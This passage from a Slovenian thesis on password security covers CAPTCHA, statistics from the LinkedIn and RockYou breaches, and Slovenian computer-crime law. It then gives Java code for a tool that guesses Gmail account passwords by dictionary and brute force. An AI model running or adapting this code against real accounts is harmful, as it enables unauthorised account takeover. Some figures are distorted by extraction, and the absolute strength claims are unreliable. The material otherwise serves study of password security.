ali vecˇkratnega glasovanja, ki lahko vpliva na izid dolocˇenega glasovanja.
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5.1 OPIS
Captcha deluje na nacˇin izziv-odgovor. Poda nam izziv ali test, ki je za
umetno inteligenco tezˇko resˇljiv ali neresˇljiv. S pravilnim odgovorom smo
resˇili izziv. CAPTCHA se sedaj uporablja skoraj na vseh spletnih naslovih,
forumih, spletnih trgovinah, da se s tem preprecˇi zloraba. Izziv se obicˇajno
pokazˇe v naslednji obliki:
• ASCII/Unicode,
• tekstovni s sˇumom ozadja,
• govor.
Prva mozˇnost je najbolj osnovno sredstvo za primerjanje besedila. Namesto
cˇrke uporablja sˇe druge ASCII znake, glej npr. Jung [23]. Tako npr. beseda
CAPTCHA postane c©4Pt c©h4. Sedaj se te metode ne uporablja vecˇ, ker se
beseda zlahka ugotovi.
Druga mozˇnost vsebuje neko besedilo, ki je vzeto iz majhnega slovarja. Be-
sedilu se doda sˇum, kar dosezˇemo tako, da je besedilo prekrito s cˇrtami,
je zamegljeno ali ukrivljeno. Besedilo postane popacˇeno do take mere, da
onemogocˇa programom kot je OCR razbrati cˇrke besedila.
Pri zadnji z zvocˇniki sliˇsimo cˇrke, sˇtevilke ali besedo. Govoru je dodan sˇum,
s katerim preprecˇimo programom, da bi razbrali glasove. Najvecˇkrat se upo-
rablja kot pomocˇ slabovidnim.
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Slika 5.1: Primer CAPTCHA.
Zanimivo je, da so novembra 1999 na spletni strani www.slashdot.org objavili
anketo, katera ameriˇska fakulteta za racˇunalniˇstvo je najboljˇsa. Kot zasˇcˇito
pred vecˇkratnim glasovanjem so belezˇili IP naslove, da so preprecˇili, da bi
nekdo vecˇkrat glasoval. Vendar so sˇtudentje iz Carnegie Mellon napisali
program, ki zaobide tako zasˇcˇito in tako so lahko sebi v prid glasovali vecˇ
tisocˇkrat. Naslednji dan so sˇtudentje iz MIT opazili nenavadno rast glasov,
zato so tudi sami napisali program za vecˇkratno glasovanje. Glasovanje je
postalo tekmovanje med dvema fakultetama, kjer so sˇtudentje iz MIT dobili
21,156 glasov in Carnegie Mellon 21,032 glasov. Ostale fakultete so dobile
manj kot 1,000 glasov, glej npr. Carnegie Mellon University [8].
5.2 Slabosti CAPTCHA
Kot vsaka zasˇcˇita je tudi CAPTCHA pod drobnogledom napadalcev in po-
skusov razbijanja, s katerimi se zaobide zasˇcˇita. Napade nanje delimo v tri
skupine:
• napake generatorjev izzivov CAPTCHA,
• programi za prepoznavanje znakov s slike, kot je OCR (optical character
recognition),
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• zloraba uporabnikov.
V nadaljevanju jih bomo podrobneje razlozˇili.
Napake generatorjev izzivov
Ena izmed slabosti zasnovanih testov CAPTCHA je premajhen nabor besed
ali slik. Napadalec lahko ustvari svoj slovar, v katerem shranjuje slike in
resˇitve. V takih primerih ne potrebujemo programov za prepoznavo slik.
Tako lahko napadalec zbere veliko zbirko slik in resˇitev, s katerimi lahko
razbijejo CAPTCHA. To dosezˇe na nacˇin, da pogleda v svoj slovar in poiˇscˇe
ustrezno resˇitev, ki jo je ustvaril, glej npr. Jung [23]. Druga lastnost pri
slabo zasnovanih testih je lahko slabo zasnovana spletna stran. En taksˇnih
primerov je, da spletna stran ne unicˇi sejnih ID uporabnikov, ki so zˇe resˇili
test CAPTCHA, ampak jih napadalec lahko znova uporabi pri napadih.
Programi za prepoznavo znakov s slik
Na spletu obstaja veliko takih programov, nekateri bolj uspesˇni, nekateri
manj. Slednji so narejeni z namenom, da prepoznajo besedilo, ki se pojavi
na sliki. Algoritem deluje tako, da najprej odstrani ozadje, analizira cˇrke na
sliki, sledi razrez cˇrk na segmente za prepoznavo samih cˇrk. Na koncu se
primerja vsaka cˇrka z vnaprej pripravljenimi cˇrkami, ki so zˇe v sami bazi za
razpoznavanje.
Zloraba uporabnikov
Pri tem napadu so vkljucˇene tretje osebe, ki igrajo igre, tako da vpisujejo
besede v program, le-ti pomagajo pri razbitju zasˇcˇite CAPTCHA. Program
se uporabniku prikazˇe v obliki igre, v kateri nastopajo dekleta. Za vsako
pravilno ugotovljeno besedo na testu CAPTCHA, dekle odvrzˇe kos oblacˇila.
Uporabnikov odgovor se posˇlje na napadalcˇev strezˇnik, le-ta se uporabi za
ustvarjanje zbirke resˇitev. Obstajajo tudi programi, ki uporabnikom placˇajo
za pravilno resˇitev testov CAPTCHA, glej npr. Ordon˜ez [30].
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Slika 5.2: Primer trojanskega konja CATPCHA.
5.3 ReCAPTCHA
Uporablja se za digitalizacijo knjig. Sistem podobno deluje kot CAPTCHA.
OCR program skenira veliko kolicˇino knjig. Nekatere besede OCR ne more
desˇifrirati, posebej se to pozna pri starejˇsih knjigah, ko so cˇrke zˇe bolj oble-
dele. Vsaka beseda, ki jo OCR ne prepozna, se pojavi v sistemu CAPTCHA,
le-ta ima zraven poznano besedo imenovano kontrolna beseda. Uporabnik,
ki se hocˇe prijaviti v sistem, mora izpolniti obe besedi. Cˇe pravilno vpiˇse
kontrolno besedo, se smatra, da je za neznano besedo pravilni odgovor. Vecˇ
uporabnikov, ki resˇi isti test, se glede na sesˇtevek enakih odgovorov dolocˇi
pravilna beseda, glej npr. Von Ahn [1].
Slika 5.3: Primer reCAPTCHA, kjer je ena kontrolna beseda in druga neznana beseda.
Ocenjuje se, da se vsak dan resˇi 200 milijonov CAPTCHA testov. V tem
cˇasu so z uporabniki pridobili zˇe veliko kolicˇino teksta za digitalizacijo knjig.
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Poglavje 6
STATISTIKA NAJBOLJ
POGOSTIH GESEL
Statisticˇno imajo razlicˇne spletne strani podobna gesla uporabnikov, le-ti si
lahko svobodno izberejo geslo in pri tem nimajo omejitev, kot so: obvezno
vsaj ena velika zacˇetnica, vsaj ena sˇtevilka ali vsaj en poseben znak. Med
uporabniki, ki uporabljajo svoje geslo, je 60% takih uporabnikov, ki imajo
na razlicˇnih straneh isto geslo. Razlog je v tem, da cˇlovesˇki mozˇgani niso
zmozˇni zapomniti si veliko kolicˇino podatkov, v tem primeru veliko gesel.
Pregovor pravi: ”Cˇe bi dobil vsakicˇ kovanec, ko pozabim geslo, bi bil zˇe
milijonar”(angl. ”If I got a penny every time I forgot my password, I’d
be a millionaire”). To lahko predstavlja veliko tveganje, cˇe napadalcu uspe
razbiti geslo na eni strani. Tako lahko dostopa tudi do ostalih racˇunov z
istim geslom, glej npr. Danchev [10].
V tem poglavju bomo pogledali resnicˇna primera dveh spletnih strani, ki
sta bila napadena. Zˇrtvi napada sta bila Linkedin in Rockyou. Pri tem so
pridobili bazo gesel, ki je sedaj javno dostopna. Na koncu razdelka bomo
pogledali sˇe najbolj pogosta gesla v Sloveniji in kaksˇna so dobra gesla.
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6.1 Linkedin
Predstavimo socialno omrezje Linkedin, kjer se posameznik lahko povezuje
s strokovnjaki iz svojega podrocˇja, sˇiri svojo socialno mrezˇo znotraj svoje
stroke ali izven nje, navezˇe stik s kadri v dolocˇenem podjetju in ustvarja svoj
strokovni ugled na spletu, glej npr. Zakrajˇsek [44].
Junija 2012 so ruski hekerji vdrli vanj in pridobili 6.5 milijonov uporabniˇskih
gesel, ki so bila v zgosˇcˇeni obliki. Zanimivo je, da pri Linkedinu niso vedeli,
da so jim vdrli in ukradli gesla. To so ugotovili sˇele, ko so hekerji objavili na
forumu, da potrebujejo pomocˇ pri razbitju zgosˇcˇenih vrednosti. Pri pridobi-
vanju gesel so uspesˇno desˇifrirali 80% celotne baze, glej npr. Blidaru [6].
Kljub sˇkodi, ki se je zgodila, se je zaradi vdora v Linkedin izboljˇsala varnost
tako na Linkedinu kot tudi na mnogih drugih spletnih straneh.
Pri Linkedin smo analizirali dolzˇino niza, uporabo posebnih locˇil, velikih in
malih cˇrk. Kot zanimivost omenimo, da je med temi gesli najbolj popularna
dolzˇina gesla 8 znakov. Dolzˇina gesla je zelo pomembna, saj daljˇsa, kot je,
manjˇsa je verjetnost, da bo geslo razbito. Cˇe je geslo prekratko, se da geslo
preprosto razbiti z uporabo grobe sile (brute force attack).
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Slika 6.1: Analiza dolzˇin gesel Linkedin.
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Pri analizi uporabe posebnih locˇil, velikih in malih cˇrk ugotovimo, da se velik
delezˇ uporabnikov omeji le na male cˇrke in sˇtevilke.
Slika 6.2: Analiza uporaba posebnih locˇil, malih in velikih cˇrk.
Najpogostejˇse geslo je beseda Linkedin. Tudi ostale besede v spodnji tabeli
niso primerne, ker jih napadalec z lahkoto predvidi.
lestvica geslo sˇtevilo uporabnikov (delezˇ)
1 linkedin 5576 (0.12%)
2 link 3135 (0.06%)
3 linked 2602 (0.05%)
4 alex 1444 (0.03%)
5 mike 1362 (0.03%)
6 june 1236 (0.03%)
7 password 1209 (0.03%)
8 love 1183 (0.02%)
9 john 1123 (0.02%)
10 july 1006 (0.02%)
Tabela 6.1: 10 najbolj pogostih besed za geslo Linkedin.
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V Tabeli 6.2 lahko vidimo, da je manjˇsi procent gesel, v katerih se uporablja
imena mescev, dni in leta. Zanimivo je tudi, da velik delezˇ uporabnikov
(51%) uporablja sˇtevilko na koncu gesla.
posebna lastnost sˇtevil (delezˇ)
vsebuje besedo mesec (januar, februar . . . ) 160045 (3%)
vsebuje besedo tedna (ponedeljek, torek . . . ) 57317 (1%)
zadnji znak je sˇtevilka 1 579124 (11%)
zadnji znak je sˇtevilka 2833266 (51%)
vsebuje letnico 138854 (2.5%)
Tabela 6.2: Zanimive karakteristike gesel.
6.2 Rockyou.com
Decembra 2009 so napadalci vdrli na socialno omrezˇje rockyou.com. 32 mi-
lijonov gesel je bilo ukradenih, ker niso bili zasˇcˇiteni z zgosˇcˇevalno funkcijo.
Tako so napadalci pridobili 100% podatkovno zbirko gesel. Od 32 milijonov
gesel, je bilo 14 milijonov gesel, ki so imele unikatno besedo. Rockyou je
bil velikokrat kritiziran v cˇlankih, ker niso poskrbeli za varnost in zasˇcˇito
uporabnikov, glej npr. Imperva [19].
V tabeli 6.3 lahko vidimo statistiko dolzˇine gesel. Kar 26% uporabnikov
uporablja dolzˇino gesla iz 6 cˇrk.
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Tabela 6.3: Analiza dolzˇin gesel Rockyou.
Pri analiziranju posebnih locˇil, malih in velikih cˇrk in sˇtevilk, 41% uporab-
nikov uporablja samo male cˇrke. Na drugem mestu najvecˇkrat uporabljajo
kombinacijo sˇtevilk, in cˇrk in sicer v 36% primerov.
Tabela 6.4: Analiza uporabe posebnih locˇil, male in velike cˇrke.
Kar lahko vidimo iz Tabele 6.5, se pri analiziranju pogostosti besed
najvecˇkrat pojavi trivialno geslo 123456. Na cˇetrtem mestu se pojavi ge-
slo password.
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lestvica geslo sˇtevilo uporabnikov (delezˇ)
1 123456 290731 (0.11%)
2 12345 79078 (0.04%)
3 123456789 76790 (0.04%)
4 password 61958 (0.03%)
5 iloveyou 51622 (0.03%)
6 princess 35231 (0.02%)
7 rockyou 22588 (0.02%)
8 1234567 21726 (0.02%)
9 12345678 20553 (0.02%)
10 abc123 17542 (0.02%)
Tabela 6.5: 10 najpogostejˇsih besed za geslo Rockyou.
V Tabeli 6.6 lahko vidimo, da je podoben procent uporabnikov kot pri
Linkedin-u, ki uporabljajo podobno karakteristiko.
posebna lastnost sˇtevil (delezˇ)
vsebuje besedo mesec (januar, februar . . . ) 459734 (3.2%)
vsebuje besedo tedna (ponedeljek, torek . . . ) 136398 (0.95%)
zadnji znak je sˇtevilka 1 1270774 (8.86%)
zadnji znak je sˇtevilka 8316497 (57.98%)
vsebuje letnico 440006 (3.06%)
Tabela 6.6: Zanimive karakteristike gesel.
6.3 Najpogostejˇsa gesla v Sloveniji
Gesla, ki so prikazana, so bila pridobljena iz razlicˇnih virov v obdobju med
leti 2001 in 2006. Seznam gesel jih zajema priblizˇno 55 tisocˇ, glej npr.
Zˇagar [45]. V Tabeli 6.7 je seznam 20 najbolj pogostih gesel.
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geslo sˇtevilo uporabnikov (delezˇ)
123456 24750 (0.45%)
12345678 12100 (0.22%)
abc123 8250 (0.15%)
12345 7700 (0.14%)
mateja 7150 (0.13%)
sonce 7150(0.13%)
mojca 6600 (0.12%)
1234 6050 (0.11%)
geslo 6040 (0.11%)
123456789 6030 (0.11%)
matej 5500 (0.10%)
marko 4950 (0.9%)
alenka 4940 (0.9%)
ljubezen 4930 (0.9%)
123 4920 (0.9%)
krneki 445 (0.8%)
klemen 440 (0.8%)
password 430 (0.8%)
andrej 420 (0.8%)
soncek 400 (0.8%)
Tabela 6.7: 20 najpogostejˇsih gesel v Sloveniji.
Iz tabele je razvidno, da uporabniki vecˇinoma uporabljajo lahka gesla, se-
stavljena iz samo sˇtevilk ali prvih cˇrk zgornje vrstice na anglesˇkih tipkov-
nicah. Najpogostejˇse geslo je 123456, in sicer kar 0.45% primerih. Med
uporabniki je mogocˇe opaziti, da prevladuje slovenski jezik, ker se beseda
geslo pogosteje uporablja, kot beseda password. Zaradi nekaterih slo-
venskih besed napadalci iz tujih drzˇav, ki bi pri tem uporabljali anglesˇke
slovarje, bi bili bistveno manj uspesˇni pri svojih napadih. Ostala gesla iz
tabele so vecˇ ali manj osebna ali lastna imena. Rezultat raziskave, kateri
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ljudje pogosto uporabljajo preprosta gesla, so starejˇsi ljudje, nepismeni ali
dusˇevno zaostali. Nekateri pa preprosta uganljiva gesla uporabljajo, ker so
enostavno preleni, glej npr. 24ur [46].
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Slika 6.3: Analiza dolzˇin gesel v Sloveniji.
Iz Slike 6.3 je razvidno, da je najbolj popularna dolzˇina gesla 6 znakov. Geslo
z 8 znaki je sˇele na tretjem mestu. Prav tako je lahko razvidno iz grafa, da
redko uporabniki uporabijo geslo, ki je daljˇse od 13 znakov.
6.4 Kaksˇno geslo je dobro geslo
Kakovost izbranega gesla je odvisna predvsem od dolzˇine in sestave. Da
bomo izbrali dobro geslo, moramo najprej razumeti, kaksˇna so mocˇna in
kaksˇna so sˇibka gesla. Zmotno je pravilo, da so dobra gesla tista, ki si jih
tezˇko zapomnimo.
Sˇibka gesla so sestavljena iz kratkih besed (4-6 znakov), pogostih besed,
oziroma so celo enaka uporabniˇskim imenom. To so besede, ki se najvecˇkrat
pojavijo v slovarju, imena, izrazi, razlicˇni datumi. Z razlicˇnimi programi,
ki imajo napad z grobo silo ali napad s slovarjem, lahko geslo odkrijemo
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relativno hitro, glej npr. Savicˇ [32].
Mocˇna gesla v primerjavi s sˇibkimi vsebujejo najmanj 8 znakov. Nedavno so
strokovnjaki za varovanje informacijskih sistemov priporocˇali, da geslo naj
vsebuje vecˇ razlicˇnih naborov znakov, kot so sˇtevilke (123), cˇrke (abc) in
posebni znaki (?!%#&..), glej npr. Ho¨lbl [18]. Pri tem se pojavi problem,
kako si tako geslo zapomniti. Izkazˇe se, da zadosˇcˇa zˇe, da geslo vsebuje
samo cˇrke, vendar mora imeti primerno dolzˇino. Vsak dodaten znak povecˇa
sˇtevilo mozˇnosti za faktor (ki predstavlja velikost nabora). Tako pridemo do
eksponentne rasti glede na dolzˇino, kar je vidno iz Tabele 6.8.
dolzˇina samo male cˇrke abecede vsi znaki na tipkovnici
3 17.576 857.375
4 456.976 81.450.625
5 11.881.376 7.7337.809.375
6 308.915.776 735.091.890.625
7 8.031.810.176 69.833.729.609.375
8 208.827.064.576 6.634.204.312.890.620
9 5.429.503.678.976 630.249.409.724.609.000
10 141.1677.095.653.376 59.873.693.923.837.900.000
11 3.670.344.486.987.780 5.688.000.922.764.600.000.000
12 95.428.956.661.682.200 540.360.087.662.637.000.000.000
13 2.481.152.173.203.740.000 51.334.208.327.950.500.000.000.000
14 64.509.974.703.297.200.000 4.876.749.791.155.300.000.000.000.000
15 1.677.259.342.285.730.000.000 463.291.230.159.753.000.000.000.000.000
Tabela 6.8: Mozˇne permutacije glede na dolzˇino gesla.
Moramo vedeti, da sˇtevilke iz zgornje tabele ne pomenijo nicˇesar, cˇe upora-
bimo besede, ki se pogosto pojavljajo v slovarju.
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Slika 6.4: Sˇala o izbiri dolzˇine gesel.
Za razumevanje zgornje slike bomo pokazali primer, zakaj lahko izberemo
geslo, ki vsebuje samo en nabor znakov. Cˇe si izberemo geslo z osmimi znaki,
pri tem uporabimo male cˇrke (a-z), velike cˇrke (A-Z), sˇtevilke (0-9) in posebne
znake (+36 znakov). Dobimo 25+25+10+36 = 968 = 7.2138958e+15. Sedaj
si izberemo geslo, ki je dolzˇine 15 in uporabimo samo male cˇrke. Dobimo
2515 = 9.3132257e+ 20. V drugem primeru dobimo bistveno vecˇ permutacij,
kar napadalcu dodatno otezˇi, da bi geslo razbil. Z gotovostjo lahko trdimo,
cˇe ustvarimo geslo, ki vsebuje samo cˇrke in ima primerno dolzˇino, je dovolj
mocˇno, da napadalci ne morejo ugotoviti gesla.
Poglavje 7
ZAKONODAJA
V tem poglavju bomo opisali pomanjkljivosti slovenske zakonodaje, pri va-
rovanju osebnih podatkov. Pogledali bomo, kaj se zgodi s podatki po smrti
in kaksˇne pravice imamo do podatkov umrlega.
7.1 Zakon o varovanju osebnih podatkov
Pri razbijanju gesel moramo biti pozorni, da se ne znajdemo v kazenskem
postopku. Kazenski zakonik Republike Slovenije v 143. cˇlenu opredeljuje
zlorabo osebnih podatkov, k cˇemur sodi tudi kraja spletnih gesel, glej npr.
KZ [24] in pravi:
(1) Kdor uporabi osebne podatke, ki se obdelujejo na podlagi zakona,
v neskladju z namenom njihovega zbiranja ali brez osebne privolitve
osebe, na katero se osebni podatki nanasˇajo, se kaznuje z denarno ka-
znijo ali zaporom do enega leta.
(2) Enako se kaznuje, kdor vdre ali nepooblasˇcˇeno vstopi v racˇunalniˇsko
vodeno zbirko podatkov z namenom, da bi sebi ali komu drugemu pri-
dobil kaksˇen osebni podatek.
(3) Kdor na svetovnem medmrezˇju objavi ali omogocˇi drugemu ob-
javo osebnih podatkov zˇrtev kaznivih dejanj, zˇrtev krsˇitev pravic ali
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svobosˇcˇin, zasˇcˇitenih pricˇ, ki se nahajajo v sodnih spisih sodnih po-
stopkov, kjer po zakonu ali po odlocˇitvi sodiˇscˇa ni dovoljena prisotnost
javnosti ali identifikacija zˇrtev ali zasˇcˇitenih pricˇ ter osebnih zapisov o
njih v zvezi s sodnim postopkom, na podlagi katerih se te osebe lahko
dolocˇi ali so dolocˇljive, se kaznuje z zaporom do treh let.
(4) Kdor prevzame identiteto druge osebe in pod njenim imenom iz-
koriˇscˇa njene pravice, si na njen racˇun pridobiva premozˇenjsko korist
ali prizadene njeno osebno dostojanstvo, se kaznuje z zaporom od treh
mesecev do treh let.
Vdor ali neupravicˇen dostop se smatra za nasilno dejanje. Kazenski zakonik
Republike Slovenije v 221. cˇlenu pravi:
(1) Kdor vdre v informacijski sistem ali kdor neupravicˇeno prestrezˇe
podatek ob nejavnem prenosu v informacijski sistem ali iz njega, se
kaznuje z zaporom do enega leta.
(2) Kdor podatke v informacijskem sistemu neupravicˇeno uporabi, spre-
meni, preslika, prenasˇa, unicˇi ali v informacijski sistem neupravicˇeno
vnese kaksˇen podatek, ovira prenos podatkov ali delovanje informacij-
skega sistema, se kaznuje za zaporom do dveh let.
Veliko spletnih strani se zasˇcˇiti pri varovanju gesel, tako da izpiˇsejo opozo-
rilo, da so uporabniki sami dolzˇni poskrbeti za varnost svojega uporabniˇskega
imena in gesla. Zˇe poseg v tuj racˇun, brez vednosti lastnika, se obravnava
kot kaznivo dejanje. Tudi izdelovanje in pridobivanje pripomocˇkov za ne-
upravicˇen dostop do informacijskih sistemov se smatra za kaznivo dejanje.
Tako obstaja tanka meja med tem, kaj lahko pocˇnemo in kaj ne smemo. Kot
primer lahko navedem izdelavo programov za vdor v uporabniˇske racˇune. Cˇe
ga uporabljamo v zasebne namene, tako da ne sˇkodujemo drugim, je dovo-
ljena njegova uporaba. Cˇe pa program uporabimo, da sˇkodujemo drugim, se
lahko hitro znajdemo v kazenskem postopku.
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7.2 Osebni podatek po smrti
V slovenski zakonodaji je pri urejanju polozˇaja umrle osebe, glede spletne
zasebnosti, je napisano zelo povrsˇno. Zakon o varovanju osebnih podatkov
(ZVOP-1) omogocˇa posameznikom, da v cˇasu zˇivljenja sami dolocˇijo, kako
naj se ravna z njihovimi osebnimi podatki. Vendar jih lahko upravljavec
osebnih podatkov, posreduje zakonitemu dedicˇu prvega ali drugega dednega
reda, cˇe ta za uporabo izkazˇe pravni interes in umrli ni pisno prepovedal po-
sredovanja teh osebnih podatkov, glej npr. Informacijski Pooblasˇcˇenec [21].
Nacˇelno mnenje informacijske pooblasˇcˇenke Irene Volk [37] navaja:
Zakon o varstvu osebnih podatkov (ZVOP-1) varstvo osebnih po-
datkov umrlih posameznikov ureja v 23. cˇlenu. Osnovno pravilo
iz prvega odstavka tega cˇlena upravljavca zavezuje k posredovanju
osebnih podatkov o umrlem posamezniku zgolj tistim uporabni-
kom osebnih podatkov, ki so za obdelavo osebnih podatkov poo-
blasˇcˇeni z zakonom. Manj stroga pravila veljajo v primeru, cˇe gre
za posredovanje osebnih podatkov umrlega posameznika za zgo-
dovinsko, statisticˇno ali znanstvenoraziskovalne namene. V tem
primeru velja, da lahko upravljavec osebnih podatkov podatke
o umrlem posamezniku posreduje tudi katerikoli drugi osebi, ki
namerava te podatke uporabljati za zgodovinsko, statisticˇno ali
znanstvenoraziskovalne namene, cˇe umrli posameznik ni pisno
prepovedal posredovanja teh osebnih podatkov (tretji odstavek
23. cˇlena ZVOP-1). Cˇe umrli posameznik ni podal take prepo-
vedi, jo lahko podajo osebe, ki so po zakonu, ki ureja dedovanje,
njegovi zakoniti dedicˇi prvega ali drugega dednega reda, cˇe zakon
ne dolocˇa drugacˇe (cˇetrti odstavek 23. cˇlena ZVOP-1).
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Dostop do osebnih podatkov umrlega
Osebni podatek je katerikoli podatek, ki se nanasˇa na posameznika, ne glede
na obliko, v kateri je izrazˇen. Tako je osebni podatek kot tudi druge osebno-
stne pravice strogo vezan na samo osebnost in s smrtjo nosilca ugasne. ZVOP
omogocˇa dolocˇeno varstvo osebnih podatkov, zato pravo priznava pravico do
pietete, sposˇtovanja in lepega spomina na umrlega, glej npr. Informacijski
Pooblasˇcˇenec [21]. Po smrti umrlega dolocˇene njegove osebne pravice in po-
datki varujejo kot osebne. Vsak vpogled v podatke umrlega se razlikuje od
primera do primera, ki ga je treba resˇevati na sodiˇscˇu.
Poglavje 8
PROGRAM ZA RAZBIJANJE
GESEL GMAIL
Elektronsko posˇto Gmail uporablja veliko ljudi. Razume se kot popolnoma
varen, saj nenehno izboljˇsuje svojo varnost. Zanimalo me je, kako tezˇko je
dejansko dobiti geslo za Gmail racˇun in cˇe obstajajo dolocˇene pomanjkljivo-
sti.
8.1 Uporabljene tehnologije
Programski jezik, v katerem smo programirali je Java. Je objektno preno-
sljiv, ki se neodvisno izvaja od platforme. Kar pomeni, da program lahko
pozˇenemo ne glede na to, kateri operacijski sistem uporabljamo. Je zaenkrat
najbolj robusten programski jezik, s katerim lahko programiramo.
Programirali smo v okolju Eclipse. Je integrirano razvojno okolje za pisanje
programskih aplikacij. Lahko hrani vecˇ projektov v enem delovnem prostoru.
Eclipse omogocˇa pisanje programske kode v vecˇ jezikih. Poleg Jave omogocˇa
pisanje v C, C++, Javascript, PHP itd. Za programerja je zelo prijazno
okolje, ker omogocˇa samo dokoncˇevanje kode in vsebuje razhrosˇcˇevalnik.
Knjizˇnice, ki sem jih uporabil, so naslednje:
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• Jsoup, ki deluje v realnem cˇasu, s katerim lahko parsamo HTML. Je
zelo prirocˇen API za manipulacijo in pridobivanje podatkov od DOM,
CSS in jquery metode.
• CookieHandler za upravljanje HTTP zahtev in upravljanje s spletnimi
piˇskotki.
• SwingWorker, ki omogocˇa delo z vecˇ niti naenkrat.
8.2 Delovanje programa
Program se zazˇene s prijavnim oknom, kjer vpiˇsemo uporabniˇsko ime. Na
voljo imamo tri mozˇne scenarije. To so:
• s slovarjem;
• uporaba grobe sile;
• rocˇno ugibanje.
Med mozˇnostmi imamo besedilno obmocˇje (text area), kjer se izpisujejo be-
sede, ki smo jih ugibali in poskusili za uporabniˇsko ime. Cˇe izberemo mozˇnost
napada z ugibanjem, se pojavi okno, kjer vpiˇsemo poljubno besedo za geslo.
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Slika 8.1: Graficˇni vmesnik.
Da se v besedilnem obmocˇju sproti izpisujejo besede, je potrebno program
razdeliti na vecˇ niti, ki delujejo v ozadju. Za to delo skrbi knjizˇnica Swin-
gWorker.
protected void doWork() {
SwingWorker<Void, Integer> worker = new SwingWorker<Void,
Integer>() {
@Override
protected Void doInBackground() throws Exception {
bruteForce(upIme);
return null; }
@Override
protected void process(List<Integer> chunks) {
jTextArea1.append(chunks.get(chunks.size() -
1).toString()+"\n");
}
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@Override
protected void done() {
jTextArea1.append("\nDone");
}
};
worker.execute();
}
Metoda doInBackground poskrbi, da se izvaja napad. Metoda process sproti
izpisuje besede oziroma gesla v besedilnem obmocˇju in tudi pove, katero geslo
je pravo, ko ga najdemo. Metoda done nam pove, kdaj se je program zakljucˇil
in nam izpiˇse Done.
8.2.1 Prijava
V uporabniˇski racˇun se prijavimo s knjizˇnico HttpURLConnection in po-
datke obdelamo s knjizˇnico jsoup, glej npr. Young [43]. Potrebno je poslati
GET metodo na url naslov https://accounts.google.com/ServiceLoginAuth.
Metoda nam vrne podatke, s katerimi lahko ugotovimo, cˇe smo se uspesˇno
prijavili v uporabniˇski racˇun.
public String posljiGet(String url) throws Exception {
URL objekt = new URL(url);
povezava = (HttpsURLConnection) objekt.openConnection();
povezava.setRequestMethod("GET");
povezava.setRequestProperty("User-Agent", USER_AGENT);
povezava.setRequestProperty("Accept","text/html,application/xhtml,
xml,application/xml;q=0.9,*/*;q=0.8");
povezava.setRequestProperty("Accept-Language", "en-US,en;q=0.5");
if (cookies != null) {
for (String cookie : this.cookies) {
povezava.addRequestProperty("Cookie", cookie.split(";",
1)[0]);
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}
}
int responseCode = povezava.getResponseCode();
System.out.println(responseCode);
//html obliko
BufferedReader podatki = new BufferedReader(new
InputStreamReader(povezava.getInputStream()));
String vrstica;
StringBuffer response = new StringBuffer();
while ((vrstica = podatki.readLine()) != null) {
response.append(vrstica);
}
podatki.close();
setCookies(povezava.getHeaderFields().get("Set-Cookie"));
return response.toString();
}
Z metodo POST posˇljemo podatke, kot sta uporabniˇsko ime in geslo, da se
prijavimo v uporabniˇski racˇun.
public void posljiPost(String url, String imeInGeslo) throws
Exception {
URL objekt = new URL(url);
povezava = (HttpsURLConnection) objekt.openConnection();
// dela se kot brskalnik
povezava.setUseCaches(false);
povezava.setRequestMethod("POST");
povezava.setRequestProperty("User-Agent", USER_AGENT);
povezava.setRequestProperty("Accept",
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
povezava.setRequestProperty("Accept-Language", "en-US,en;q=0.5");
povezava.setDoOutput(true);
povezava.setDoInput(true);
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for (String cookie : this.cookies) {
povezava.addRequestProperty("Cookie", cookie.split(";",
1)[0]);
}
// poslje POST
DataOutputStream podatki = new
DataOutputStream(povezava.getOutputStream());
podatki.writeBytes(imeInGeslo);
podatki.flush();
podatki.close();
int responseCode = povezava.getResponseCode();
System.out.println(responseCode);
}
Da ugotovimo, cˇe smo se uspesˇno prijavili, moramo sˇe enkrat poslati GET
metodo, ki nam vrne podatke. Z metodo brokenPassword preverimo, cˇe smo
se uspesˇno prijavili.
public boolean brokenPassword(String result){
//ce vsebuje gaia_loginform ni vdrlo
if(!result.contains("gaia_loginform"))
return true;
return false;
8.2.2 Nacˇini napada
Napad s slovarjem
Napad poteka tako, da iz datoteke, v kateri imamo gesla, prebere geslo in
ugotovi, cˇe je geslo omogocˇilo vstop v uporabniˇski racˇun. Iskanje pravega
gesla se nadaljuje, dokler ne pridemo do njega oziroma dokler ne pridemo do
konca slovarja.
public void napadSSlovarjem(final String upIme) throws Exception{
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SwingWorker<Void, String> worker = new SwingWorker<Void,
String>() {
@Override
protected Void doInBackground() throws Exception {
BufferedReader br = new BufferedReader(new
FileReader("SLOVAR.txt"));
// 1. send GET
String page = http.posljiGet(url);
String beseda="";
String geslo="";
int j=0;
String line = br.readLine();
String[] arr;
while( line != null){
arr=line.split(" ");
for(int i=0; i<arr.length;i++){
geslo=arr[i];
System.out.println(geslo);
publish(geslo);
String imeInGeslo = http.ImeInGeslo(page,
upIme, geslo);
// 2. send POST da se lohk prijavim
http.posljiPost(url, imeInGeslo);
// 3. success then go to gmail.
String result = http.posljiGet(gmail);
if(http.brokenPassword(result)){
System.out.println(result);
br.close();
publish("Razbito geslo je "+geslo);
break;
}
result="";
CookieHandler.setDefault(new CookieManager());
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http = new HttpUrlPovezava();
page = http.posljiGet(url);
System.gc();
}
line=br.readLine();
br.close();
return null;
}
Napad s silo
Pri napadu s silo gremo cˇez posamezen znak posebej. Zaradi pregleda in cˇasa
sem se omejil samo na cˇrke z najvecˇjo dolzˇino 5.
void bruteForce(String upIme) throws Exception{
char minZnak = ’a’;//65;
char maxZnak = ’z’;//122;
String geslo="";
int dolzina=5;
for(int i = 2; i <= dolzina; ++i) {
rekurzivnoBruteForce(geslo, minZnak, maxZnak,
i, upIme);
}
}
void rekurzivnoBruteForce( String geslo, char min, char max, int
dolzina, String upIme) throws Exception {
if(dolzina ==0 ) {
if(getMail(geslo, upIme)!=null){
REKURZIJA=true;
publish("Razbito geslo je "+geslo);
return;
}
publish(geslo);
System.out.println(geslo);
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}
else {
for(char a = min; a <= max; ++a) {
if(REKURZIJA==true)
return;
rekurzivnoBruteForce(geslo + a, min, max,
dolzina-1, upIme );
}
}
}
Napad z ugibanjem
Sami vpisujemo geslo, nato program pogleda, cˇe smo ugotovili pravo.
public String napadZUgibanjem(String geslo, String upIme){
try {
String passwd= getMail(geslo, upIme);
if(passwd==null)
return geslo +" ni pravo geslo";
return "razbito geslo je: "+passwd;
} catch (Exception e) {
return "Konec ";
}
}
}
8.3 Tezˇave pri razbijanju gesel
Pri Google se trudijo biti resni. Svoje uporabnike poskusˇajo zasˇcˇititi, kar se
